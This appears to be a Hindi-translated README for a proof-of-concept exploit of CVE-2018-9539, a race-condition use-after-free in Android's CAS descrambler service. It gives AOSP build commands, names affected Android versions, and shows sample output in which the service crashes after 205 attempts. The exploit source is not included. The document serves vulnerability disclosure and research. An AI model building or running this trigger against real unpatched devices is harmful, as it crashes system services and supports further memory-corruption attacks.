
CVE-2018-9539 के लिए PoC कोड
CVE-2018-9539 के लिए प्रूफ-ऑफ-कॉन्सेप्ट कोड
यदि आपके कोई प्रश्न हैं, तो आप मुझे ट्विटर पर डीएम कर सकते हैं (@tamir_zb)।
इसे बनाने के लिए:
AOSP/external में रखें।cd AOSP
source build/envsetup.sh
make cas_race_uaf
इस PoC को Android के अनपैच्ड संस्करण (नवंबर 2018 से पहले 8.1-9.0) पर चलाने से use-after-free होना चाहिए। ध्यान दें कि यह PoC वास्तव में Android 8.1 पर चलाने के लिए नहीं है, क्योंकि यह उम्मीद करता है कि UaF सेवा को क्रैश कर देगा, जो केवल Android 9.0 में होता है, इसलिए इस PoC को Android 8.1 पर चलाने से अनंत लूप होगा।
Android 9.0 पर इस PoC को चलाने का एक उदाहरण आउटपुट निम्नलिखित है:
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts